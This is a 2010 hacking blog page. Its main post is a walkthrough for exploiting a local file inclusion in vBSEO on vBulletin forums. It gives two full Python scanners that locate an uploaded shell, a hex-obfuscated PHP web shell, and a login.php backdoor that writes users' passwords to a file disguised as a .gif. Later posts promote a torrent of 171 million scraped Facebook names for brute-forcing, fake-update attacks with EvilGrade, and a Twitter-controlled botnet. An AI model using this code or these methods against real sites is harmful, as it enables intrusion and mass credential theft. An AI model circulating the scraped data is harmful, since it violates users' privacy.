Menu

Aug 16, 2010

vBulletin – Not So Secure Anymore

Some time ago, an LFI vulnerability within vBSEO was discovered, which allowed an attacker to include locally hosted files. The challenge, when confronted with an LFI vulnerability, is to leverage it into executing arbitrary code of our choosing.

Many vBulletin installations are using this addon to improve their SEO drastically, however many of them are not fully patched which is good for us, but very bad for those that host a vulnerable web application.
vBulletin Main Page

In many cases, it is not piece of cake to exploit LFI, aka Local File Inclusion, vulnerabilities due to the fact it may not be easy to upload content to the target server. In some scenarios, it is possible to inject PHP code into access logs and in others, it is possible to include binary MySQL files. It should be noted though, that it is usually impossible to always know where these files are stored.
Of course, we can guess where these files are stored, but we may still not be sure how the server is configured and if this approach will work.

Reconnaissance

First, we need to determine whether our target is vulnerable or not. This can be done by requesting to include a local script in the following manner:

http://our-target.tld/vbseo.php?vbseoembedd=1&vbseourl=./clientscript/ieprompt.html

vBSEO_LFI


Please note that some installations may appear to be vulnerable even though they’re not.
From our basic check above, we would like to test whether our target really is vulnerable to Local File Inclusions. We do this by creating a small txt file with ‘phpinfo()’ in it which we will upload to our target via the attachment manager. Some vBulletin installations store attachments locally, which can be abused in this case to include a shell or similar malicious code IF we know the physical location of our file and if there’s a vulnerability which allows us to do that.

Exploitation

In order to find the physical location of our uploaded file we need to find the attachment directory and scan through the subdirectories. I’ve created a small tool for this task, which is far from complete but it does work on some hosts. You can get the basic version is as follows:

#!/usr/bin/python

#  ______          __                  __  __     __   ______
# /\__  _\        /\ \__              /\ \/\ \  /'__`\/\__  _\
# \/_/\ \/     ___\ \ ,_\    __   _ __\ \ `\\ \/\ \/\ \/_/\ \/
#    \ \ \   /' _ `\ \ \/  /'__`\/\`'__\ \ , ` \ \ \ \ \ \ \ \
#     \_\ \__/\ \/\ \ \ \_/\  __/\ \ \/ \ \ \`\ \ \ \_\ \ \ \ \
#     /\_____\ \_\ \_\ \__\ \____\\ \_\  \ \_\ \_\ \____/  \ \_\
#     \/_____/\/_/\/_/\/__/\/____/ \/_/   \/_/\/_/\/___/    \/_/
#      --------------------------------------------------------
#       Title:  vBSEO LFI Assistant Tool
#          Author:  MaXe
#        Site:  http://www.intern0t.net
#
#     Description:  1) Checks whether the vBSEO installation
#           is patched or not. 2) Attempts to find
#           the physical location of an uploaded
#           attachment phile. (PHP Shell)
#
#         Version:  2.1.4 - Reversed Algorithm - Basic Version
#
#         License:  -- Attribution-ShareAlike 3.0 Unported --
#           http://creativecommons.org/licenses/by-sa/3.0/
#
#       Notes:  The basic version does not contain multi-
#           threading nor is it able to search through
#           multiple sub directories which the advanced
#           version will be able to.
#           Please note, that this tool does not work on
#           all types of hosts and you should therefore
#           modify this script to your own needs.
#
#      Disclaimer:  This tool is meant for ethical purposes only.

# Import the appropriate libraries.
import os
import re
import httplib
import sys

# Clear the screen in a sufficient way.
if(os.name) == "posix":
os.system("clear")
elif(os.name) == "nt":
os.system("cls")
else:
print "[!] Cannot clear screen automatically.\n"

print "File Finder by MaXe from InterN0T.net\n\n"

# Get user-input and define global variables.
target = raw_input("Enter a domain to scan: ")
file_match = raw_input("Enter a keyword to look for: ")
main_dir = ["attach","attachment","attachments","download"]
poss_main_dir = []
sub_dir = []

# Strip away http and https from the target variable.
striptarget = re.compile('(http://|https://)')
newtarget = striptarget.sub('', target)

# Perform a simple LFI to check whether the target is vulnerable or not.
conn = httplib.HTTPConnection(newtarget, 80)
print "[*] Checking if site appears to be vulnerable."
conn.request("GET", "/vbseo.php?vbseoembedd=1&vbseourl=./clientscript/ieprompt.html")
resp = conn.getresponse()

# If the response code is 200 OK, check if the file really was included.
if resp.status == 200:
print "[+] Site is responding, this is good."
if re.search("(Enter text...)", resp.read()):
print ">> The site appears to be vulnerable!"
else:
print "[!] The site appears to be patched. (unknown error)"

elif resp.status == 404:
print "[!] The site appears to be patched. (404)"

# Search for attachment directories
for value in main_dir[0:]:
conn = httplib.HTTPConnection(newtarget, 80)
print "[*] Trying: http://%s/%s/" % (newtarget,value)
conn.request("HEAD", "/%s/" % value)
resp = conn.getresponse()

# If the response code is 403 (Forbidden), set a new variable and continue.
if resp.status == 403:
print "[+] Directory found: /%s/" % value

if poss_main_dir == []:
poss_main_dir = ["%s" % value]
else:
poss_main_dir += ["%s" % value]

conn.close()

if poss_main_dir == []:
print "[!] No directories were found, exiting."
sys.exit()

# Search for possible sub directories
for value in poss_main_dir:

i = 0
print "[*] Trying subdirs within: http://%s/%s/" % (newtarget,value)
while i <= 9:        conn = httplib.HTTPConnection(newtarget, 80)        conn.request("HEAD",  "/%s/%s/" % (value,i))        resp = conn.getresponse()               if resp.status == 403:          print "[+] Sub Directory found: /%s/%s/" % (value,i)            found = "%s/%s" % (value,i)                         if sub_dir == []:               sub_dir = ["%s" % found]            else:               sub_dir += ["%s" % found]                       i=i+1       conn.close()         if sub_dir == []:  print "[!] No sub directories were found, exiting."     sys.exit() # Search all the sub directories found for our phile for value in sub_dir[0:]:   i = 99  print "[*] Trying to find our file within: /%s/" % value    while i >= 0:
conn = httplib.HTTPConnection(newtarget, 80)
conn.request("GET", "/%s/%s.attach" % (value,i))
resp = conn.getresponse()

if resp.status == 200:
print "[+] File found, does it match our keyword? >>%s" % file_match

if re.search("(%s)" % file_match, resp.read()):
print ">> File contains our keyword!"
print "Part URL: /%s/%s.attach" % (value,i)
print "Full URL: http://" + newtarget + "/%s/%s.attach \n" % (value,i)
sys.exit(0)

i=i-1
conn.close()

# Don't forget, that this script can be used for more than one thing.

The multi-threaded version is shown below. Keep in mind that the multi-threaded version is a bit buggy, because I didn’t synchronize the threads.

#!/usr/bin/python

#  ______          __                  __  __     __   ______
# /\__  _\        /\ \__              /\ \/\ \  /'__`\/\__  _\
# \/_/\ \/     ___\ \ ,_\    __   _ __\ \ `\\ \/\ \/\ \/_/\ \/
#    \ \ \   /' _ `\ \ \/  /'__`\/\`'__\ \ , ` \ \ \ \ \ \ \ \
#     \_\ \__/\ \/\ \ \ \_/\  __/\ \ \/ \ \ \`\ \ \ \_\ \ \ \ \
#     /\_____\ \_\ \_\ \__\ \____\\ \_\  \ \_\ \_\ \____/  \ \_\
#     \/_____/\/_/\/_/\/__/\/____/ \/_/   \/_/\/_/\/___/    \/_/
#      --------------------------------------------------------
#       Title:  vBSEO LFI Assistant Tool
#          Author:  MaXe
#        Site:  http://www.intern0t.net
#
#     Description:  1) Checks whether the vBSEO installation
#           is patched or not. 2) Attempts to find
#           the physical location of an uploaded
#           attachment phile. (PHP Shell)
#
#         Version:  2.2.3 - Multi-Threading! - Basic Version
#
#         License:  -- Attribution-ShareAlike 3.0 Unported --
#           http://creativecommons.org/licenses/by-sa/3.0/
#
#       Notes:  Please note, that this tool does not work on
#           all types of hosts and you should therefore
#           modify this script to your own needs.
#           Multi-Threading in this tool is very buggy!
#
#      Disclaimer:  This tool is meant for ethical purposes only.

# Import the appropriate libraries.
import os
import re
import httplib
import sys
import thread
import time

# Clear the screen in a sufficient way.
if(os.name) == "posix":
os.system("clear")
elif(os.name) == "nt":
os.system("cls")
else:
print "[!] Cannot clear screen automatically.\n"

print "File Finder by MaXe from InterN0T.net\n\n"

# Get user-input and define global variables.
target = raw_input("Enter a domain to scan: ")
file_match = raw_input("Enter a keyword to look for: ")
main_dir = ["attach","attachment","attachments","download"]
poss_main_dir = []
sub_dir = []

# Strip away http and https from the target variable.
striptarget = re.compile('(http://|https://)')
newtarget = striptarget.sub('', target)

# Perform a simple LFI to check whether the target is vulnerable or not.
conn = httplib.HTTPConnection(newtarget, 80)
print "[*] Checking if site appears to be vulnerable."
conn.request("GET", "/vbseo.php?vbseoembedd=1&vbseourl=./clientscript/ieprompt.html")
resp = conn.getresponse()

# If the response code is 200 OK, check if the file really was included.
if resp.status == 200:
print "[+] Site is responding, this is good."
if re.search("(Enter text...)", resp.read()):
print ">>The site appears to be vulnerable!"
else:
print "[!] The site appears to be patched. (unknown error)"

elif resp.status == 404:
print "[!] The site appears to be patched. (404)"

# Define a multi-threaded function for locating the attachment directory.
def findMainDir(target, array):
global poss_main_dir
conn = httplib.HTTPConnection(target, 80)
print "[*] Trying: http://%s/%s/" % (target,array)
conn.request("HEAD", "/%s/" % array)
resp = conn.getresponse()

# If the response code is 403 (Forbidden), set a new variable and continue.
if resp.status == 403:
print "[+] Directory found: /%s/" % array

if poss_main_dir == []:
poss_main_dir = ["%s" % array]
else:
poss_main_dir += ["%s" % array]

conn.close()

# Define a multi-threaded function to scan for sub directories.
def findSubDir(target, array):
global sub_dir
i = 0
print "[*] Trying subdirs within: http://%s/%s/" % (target,array)
while i <= 9:        conn = httplib.HTTPConnection(target, 80)       conn.request("HEAD",  "/%s/%s/" % (array,i))        resp = conn.getresponse()               if resp.status == 403:          print "[+] Sub Directory found: /%s/%s/" % (array,i)            found = "%s/%s" % (array,i)                         if sub_dir == []:               sub_dir = ["%s" % found]            else:               sub_dir += ["%s" % found]                       i=i+1       conn.close() # Define a multi-threaded function to find our phile. # Developer Note:    This function has a sub-function #          (while) which could be multi-threaded #         as well to speed up the process. def findPhile(target,array):   i = 99  print "[*] Trying to find our file within: /%s/" % array    while i >= 0:
conn = httplib.HTTPConnection(target, 80)
conn.request("HEAD", "/%s/%s.attach" % (array,i))
resp = conn.getresponse()

if resp.status == 200:
print "[+] File found, does it match our keyword? >>%s" % file_match
conn = httplib.HTTPConnection(target, 80)
conn.request("GET", "/%s/%s.attach" % (array,i))
resp = conn.getresponse()
if re.search("(%s)" % file_match, resp.read()):
print ">>File %s.attach contains our keyword!" % i
print "Part URL: /%s/%s.attach" % (array,i)
print "Full URL: http://" + target + "/%s/%s.attach \n" % (array,i)
sys.exit(0)

i=i-1
conn.close()

# For each value in main_dir (array / list), start a new thread.
for value in main_dir[0:]:
try:
thread.start_new_thread(findMainDir, (newtarget,value))
time.sleep(1)
except KeyboardInterrupt:
print "Quitting.."
sys.exit()
except:
print "[!] Could not create any threads. Quitting.."
sys.exit(1)

# Check if any values were assigned to the poss_main_dir array. If not, quit.
if poss_main_dir == []:
print "[!] No directories were found, quitting."
sys.exit()

for value in poss_main_dir[0:]:
try:
thread.start_new_thread(findSubDir, (newtarget,value))
time.sleep(1)
except KeyboardInterrupt:
print "Quitting.."
sys.exit()
except:
print "[!] Could not create any threads. Quitting.."
sys.exit(1)

if sub_dir == []:
print "[!] No sub directories were found, quitting."
sys.exit()

for value in sub_dir[0:]:
try:
thread.start_new_thread(findPhile,(newtarget,value))
time.sleep(1)
except KeyboardInterrupt:
print "Quitting.."
sys.exit()
except:
print "[!] Could not create any threads. Quitting.."
sys.exit(1)

try:
print "Waiting for threads.."
time.sleep(60)
except KeyboardInterrupt:
print "Quitting.."
except:
print "[!] Error"

# Don't forget, that this script can be used for more than one thing.

Hopefully our tool finds the attachment directory, and scans through the subdirectories for our file as shown in the screenshot below.

Script in Action

If we request the location of our file in our web browser, then we’re shown a text version of our file. Lets try to include that and see what happens:

phpinfo

As you can see, we were succesful.

Now, I don’t like to use those fancy C99 shells and such. In fact I prefer simple shells made or written by myself. For this purpose I’ve written a web application which allows me to create these, with different methods of input, encoding and even functions to be called. In this case I choose a GET-request, the system() php call, and “shellcode-style” encoding.

haxxd00r

Which results in the following code:

?php eval("\x65\x72\x72\x6f\x72\x5f\x72\x65\x70\x6f\x72\x74\x69\x6e\x67\x28\x30\x29\x3b\x65\x63\x68\x6f\x20\x40\x73\x79\x73\x74\x65\x6d\x28\x24\x5f\x47\x45\x54\x5b\x22\x70\x77\x6e\x22\x5d\x29\x3b"); ?

We upload this to our target and include this file, and call a basic system function such as “ls -al” via the “pwn” GET-request in this case, which is successful.

Code Exec

Post Exploitation


At this point we can pretty much do anything we would like to, such as dumping the database for no good since all passwords are salted and will take pretty much forever to crack. Another more serious and blackhat approach I experienced on my own forum, is to alter the login.php file so that every time someone logs in, the information is saved in a seemingly harmless file.

?php

/* This code was placed inside login.php
Look at the comments for further details.
*/


/* 1) Fopen
Open a file named profilepic12_2.gif and append data to it. Disable any errors this may cause in case of failure. The path defined is static.
( fopen($var, "a"); Explanation: Open for writing only; place the file pointer at the end of the file. If the file does not exist, attempt to create it. ) */

$fp = @fopen('/homepages/xxx/xxxxxxxxxx/htdocs/xxxxxxxxxxxxxxxxx/customprofilepics/profilepic12_2.gif', "a");

/* If the file was opened or created succesfully then.  */
if ($fp) {

/* Write the following Base64-encoded fields to the file on one line:
The current date, Username, Password, IP-Address, User-Agent and a New Line ( \n ).
This also has error reporting specificly disabled. Just in case. */

@fputs($fp, base64_encode(date("r") . "|" . $vbulletin->GPC['vb_login_username'] . "|" . $vbulletin->GPC['vb_login_password'] . "|" . $_SERVER['REMOTE_ADDR'] . "|" . $_SERVER['HTTP_USER_AGENT']) . "\n");

/* Close the file, error reporting is specificly disabled too here. */
@fclose($fp);
}

/* End of the custom-coded backdoor. */
?

After a few days if the attack hasn’t been detected, loads of user accounts will be located within this file, which the attacker can use to his or her advantage.


Author [  MaXe ]


References:
[1] vBSEO LFI Proof of Concept
[2] Static link to basic.py
[3] Static link to threading.py

Jul 27, 2010

Return of the Facebook Snatchers

 Credits for this goes to www.skullsecurity.org/blog/
First and foremost: if you want to cut to the chase, just download the torrent. If you want the full story, please read on....

Background

Way back when I worked at Symantec, my friend Nick wrote a blog that caused a little bit of trouble for us: Attack of the Facebook Snatchers. I was blog editor at the time, and I went through the usual sign off process and, eventually, published it. Facebook was none too happy, but we fought for it and, in the end, we got to leave the blog up in its original form.
Why do I bring this up? Well last week @FSLabsAdvisor wrote an interesting Tweet: it turns out, by heading to https://www.facebook.com/directory, you can get a list of every searchable user on all of Facebook!
My first idea was simple: spider the lists, generate first-initial-last-name (and similar) lists, then hand them over to @Ithilgore to use in Nmap's awesome new bruteforce tool he's working on, Ncrack.
But as I thought more about it, and talked to other people, I realized that this is a scary privacy issue. I can find the name of pretty much every person on Facebook. Facebook helpfully informs you that "[a]nyone can opt out of appearing here by changing their Search privacy settings" -- but that doesn't help much anymore considering I already have them all (and you will too, when you download thetorrent). Suckers!
Once I have the name and URL of a user, I can view, by default, their picture, friends, information about them, and some other details. If the user has set their privacy higher, at the very least I can view their name and picture. So, if any searchable user has friends that are non-searchable, those friends just opted into being searched, like it or not! Oops :)

The lists

Which brings me to the next topic: the list! I wrote a quick Ruby script (which has since become a more involved Nmap Script that I haven't used for harvesting yet) that I used to download the full directory. I should warn you that it isn't exactly the most user friendly interface -- I wrote it for myself, primarily, I'm only linking to it for reference. I don't really suggest you try to recreate my spidering. It's a waste of several hundred gigs of bandwidth.
The results were spectacular. 171 million names (100 million unique). My original plan was to use this list to generate a list of the top usernames (based on first initial last name):
129369 jsmith
  79365 ssmith
  77713 skhan
  75561 msmith
  74575 skumar
  72467 csmith
  71791 asmith
  67786 jjohnson
  66693 dsmith
  66431 akhan
100225 johns
  97676 johnm
  97310 michaelm
  93386 michaels
  88978 davids
  85481 michaelb
  84824 davidm
  82677 davidb
  81500 johnb
  77800 michaelc
Or even the top usernames based on first name dot last name (sorry, I can't link this one due to bandwidth concerns; but it's included in the torrent):
17204 john.smith
   7440 david.smith
   7200 michael.smith
   6784 chris.smith
   6371 mike.smith
   6149 arun.kumar
   5980 james.smith
   5939 amit.kumar
   5926 imran.khan
   5861 jason.smith
Or even the most common first or last names:
977014 michael
 963693 john
 924816 david
 819879 chris
 640957 mike
 602088 james
 584438 mark
 515686 jason
 503658 robert
 484403 jessica

 913465 smith
 571819 johnson
 512312 jones
 503266 williams
 471390 brown
 386764 lee
 360010 khan
 355639 singh
 343220 kumar
 324972 miller
So, those are the top 10 lists. But I'll bet you want everything!

The Torrent

But it occurred to me that this is public information that Facebook puts out, I'm assuming for search engines or whatever, and that it wouldn't be right for me to keep it private. Why waste Facebook's bandwidth and make everybody scrape it, right?
So, I present you with: a torrent! If you haven't download it, download it now! And seed it for as long as you can.
This torrent contains:
  • The URL of every searchable Facebook user's profile
  • The name of every searchable Facebook user, both unique and by count (perfect for post-processing, datamining, etc)
  • Processed lists, including first names with count, last names with count, potential usernames with count, etc
  • The programs I used to generate everything
So, there you have it: lots of awesome data from Facebook. Now, I just have to find one more problem with Facebook so I can write "Revenge of the Facebook Snatchers" and complete the trilogy. Any suggestions? >:-)

May 23, 2010

Hacking Software Updates with EvilGrade




Evilgrade is a modular framework that allow us to take advantage of poor upgrade implementations by injecting fake updates. It works with modules, each module implements the structure needed to emulate a false update of specific applications/systems. Evilgrade needs the manipulation of the victim dns traffic and uses either of DNS cache poisoning, ARP spoofing, DHCP spoofing or Internal DNS access to accomplish this. Once EvilGrade has inserted itself as the man-in-the-middle it intercepts automatic update requests for the softwares it supports and injects the malicious payload as the "update". This payload can be configured to whichever binary the hacker wants. Once the victim downloads this malicious "update" and runs it, the hacker has full control of his system
Currently, EvilGrade Supports the interception of the following upgrade mechanisms:

- Java plugin
- OpenOffices
- iTunes
- Linkedin Toolbar
- DAP [Download Accelerator]
- notepad++
- speedbit



We had covered EvilGrade a while back. In this demo, g0tmi1k shows us a demo of EvilGrade using Notepad Plus. The underlying hack uses an ARP MITM and DNS Poisoning to redirect all software upgrade request checks to the attacker's server. This server serves a metasploit payload to Notepad Plus instead of the actual payload. Once the update gets exectuted a reverse connect shell provides full access to the victim's computer.


# ITS™
# 2009 - 2010

Twitter based Botnet Command and Control



In this video from Symantec, we look at a demo of the Trojan.Twetbot trojan. As the name suggests, the builder is closely linked to Twitter, using a Twitter account to issue command-and-control instructions to the Trojans created by the builder. When building Trojan.Twebot, the user is able to supply a public Twitter account for Trojan.Twebot to follow. Because Trojan.Twebot does not try to obfuscate commands on Twitter, it will not be difficult for Twitter security staff to find and close accounts abusing their service in this way.


# ITS™
# 2009 - 2010

Null Session Hacking on Windows


Practical Exploitation - Null Session Enum from .

A NULL session connection is an unauthenticated connection to an Windows machine. Gaining NULL session access to a Windows system is the number one method for hackers to enumerating information about the machine. From a NULL session hackers can call APIs and use Remote Procedure calls to enumerate information. These techniques can, and will provide information on passwords, groups, services, users and even active processors. NULL session access can also even be used for escalating privileges and perform DoS attacks.


# ITS™
# 2009 - 2010

===[ ADS ]===
Microsoft Windows XP Home Edition UPGRADE with SP2
Microsoft Windows XP Professional Full Version with SP2

Root Shell via Metasploit and MySQL Client on Metasploitable




In this video, redmeat_uk demonstrates how to obtain a root shell from Metasploitable, a VMware machine of vulnerable applications and services. This example will demonstrate how to obtain a root shell via Metasploit auxiliary modules and the MySQL client

# ITS™
# 2009 - 2010

Mar 10, 2010

Using Fireforce to brute-force web login forms



Fireforce is a Firefox extension designed to perform brute-force attacks on GET and POST forms. Fireforce can use dictionaries or generate passwords based on several character types. Attacks can be performed on two separate fields using two distinct password sources. Fireforce can be used on any platform running the Firefox web browser and is distributed under GPL licence. You can download it from here.

ITS™
2009-2010

Feb 25, 2010

Setting up the HoneyBot Honeypot




A Honeypot is a device placed on a computer network specifically designed to capture malicious network traffic. The logging capability of a honeypot is far greater than any other network security tool and captures raw packet level data even including the keystrokes and mistakes made by hackers. The captured information is highly valuable as it contains only malicious traffic with little to no false positives. Honeypots are becoming one of the leading security tools used to monitor the latest tricks and exploits of hackers by recording their every move so that the security community can more quickly respond to new exploits.

HoneyBOT works by opening a large range of listening sockets on your computer from which a selection of these sockets are designed to mimic vulnerable services. When an attacker connects to these services they are fooled into thinking they are attacking a real server. The honeypot safely captures all communications with the attacker and logs these results for future analysis. Should an attacker attempt an exploit or upload a rootkit or trojan to the server the honeypot environment can safely store these files on your computer for malware collection and analysis purposes. " Download HoneyBot Honeypot "

# ITS™ ©
# 2009 - 2010

From Static Analysis to 0day Exploit



# ITS ©
# 2009 - 2010